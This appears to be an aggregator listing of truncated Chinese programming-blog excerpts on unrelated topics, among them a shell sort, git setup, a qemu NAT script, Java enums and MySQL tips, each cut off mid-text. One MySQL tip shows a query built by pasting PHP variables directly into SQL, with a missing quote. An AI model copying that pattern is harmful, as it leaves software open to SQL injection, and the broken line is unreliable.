I/O从属进程用于为不支持异步I/O的系统或设备模拟异步I/O.例如,磁带设备(相当慢)就不支持异步I/O.通过使用I/O 从属进程,可以让磁带机模仿通常只为磁盘驱动器提供的功能。就好像支持真正的异步I/O 一样,写设备的进程(调用者)会收集大量数据,并交由写入器写出。数据成功地写出时,写入器(此时写入器是I/O 从属进程,而不是操作系统)会通知原来的调用者,调用者则会
高级排序:希尔排序
dieslrae
希尔排序
public void shellSort(int[] array){
int limit = 1;
int temp;
int index;
while(limit <= array.length/3){
limit = limit * 3 + 1;
初二下学期难记忆单词
dcj3sjt126com
english word
kitchen 厨房
cupboard 厨柜
salt 盐
sugar 糖
oil 油
fork 叉;餐叉
spoon 匙;调羹
chopsticks 筷子
cabbage 卷心菜;洋白菜
soup 汤
Italian 意大利的
Indian 印度的
workplace 工作场所
even 甚至;更
Italy 意大利
laugh 笑
m
Go语言使用MySQL数据库进行增删改查
dcj3sjt126com
mysql
目前Internet上流行的网站构架方式是LAMP,其中的M即MySQL, 作为数据库,MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。MySQL驱动Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持database/sql标准,而有些是采用了自己的实现接口,常用的有如下几种:
http://code.google.c...o-mysql-dri
git命令
shuizhaosi888
git
---------------设置全局用户名:
git config --global user.name "HanShuliang" //设置用户名
git config --global user.email "
[email protected] " //设置邮箱
---------------查看环境配置
git config --li
qemu-kvm 网络 nat模式 (四)
haoningabc
kvm qemu
qemu-ifup-NAT
#!/bin/bash
BRIDGE=virbr0
NETWORK=192.168.122.0
GATEWAY=192.168.122.1
NETMASK=255.255.255.0
DHCPRANGE=192.168.122.2,192.168.122.254
TFTPROOT=
BOOTP=
function check_bridge()
不要让未来的你,讨厌现在的自己
jingjing0907
生活 奋斗 工作 梦想
故事one
23岁,他大学毕业,放弃了父母安排的稳定工作,独闯京城,在家小公司混个小职位,工作还算顺手,月薪三千,混了混,混走了一年的光阴。 24岁,有了女朋友,从二环12人的集体宿舍搬到香山民居,一间平房,二人世界,爱爱爱。偶然约三朋四友,打扑克搓麻将,日子快乐似神仙; 25岁,出了几次差,调了两次岗,薪水涨了不过百,生猛狂飙的物价让现实血淋淋,无力为心爱银儿购件大牌
枚举类型详解
一路欢笑一路走
enum 枚举详解 enumset enumMap
枚举类型详解
一.Enum详解
1.1枚举类型的介绍
JDK1.5加入了一个全新的类型的”类”—枚举类型,为此JDK1.5引入了一个新的关键字enum,我们可以这样定义一个枚举类型。
Demo:一个最简单的枚举类
public enum ColorType {
RED
第11章 动画效果(上)
onestopweb
动画
index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
Eclipse中jsp、js文件编辑时,卡死现象解决汇总
ljf_home
eclipse jsp卡死 js卡死
使用Eclipse编辑jsp、js文件时,经常出现卡死现象,在网上百度了N次,经过N次优化调整后,卡死现象逐步好转,具体那个方法起到作用,不太好讲。将所有用过的方法罗列如下:
1、取消验证
windows–>perferences–>validation
把 除了manual 下面的全部点掉,build下只留 classpath dependency Valida
MySQL编程中的6个重要的实用技巧
tomcat_oracle
mysql
每一行命令都是用分号(;)作为结束
对于MySQL,第一件你必须牢记的是它的每一行命令都是用分号(;)作为结束的,但当一行MySQL被插入在PHP代码中时,最好把后面的分号省略掉,例如:
mysql_query("INSERT INTO tablename(first_name,last_name)VALUES('$first_name',$last_name')");
zoj 3820 Building Fire Stations(二分+bfs)
阿尔萨斯
Build
题目链接:zoj 3820 Building Fire Stations
题目大意:给定一棵树,选取两个建立加油站,问说所有点距离加油站距离的最大值的最小值是多少,并且任意输出一种建立加油站的方式。
解题思路:二分距离判断,判断函数的复杂度是o(n),这样的复杂度应该是o(nlogn),即使常数系数偏大,但是居然跑了4.5s,也是醉了。 判断函数里面做了3次bfs,但是每次bfs节点最多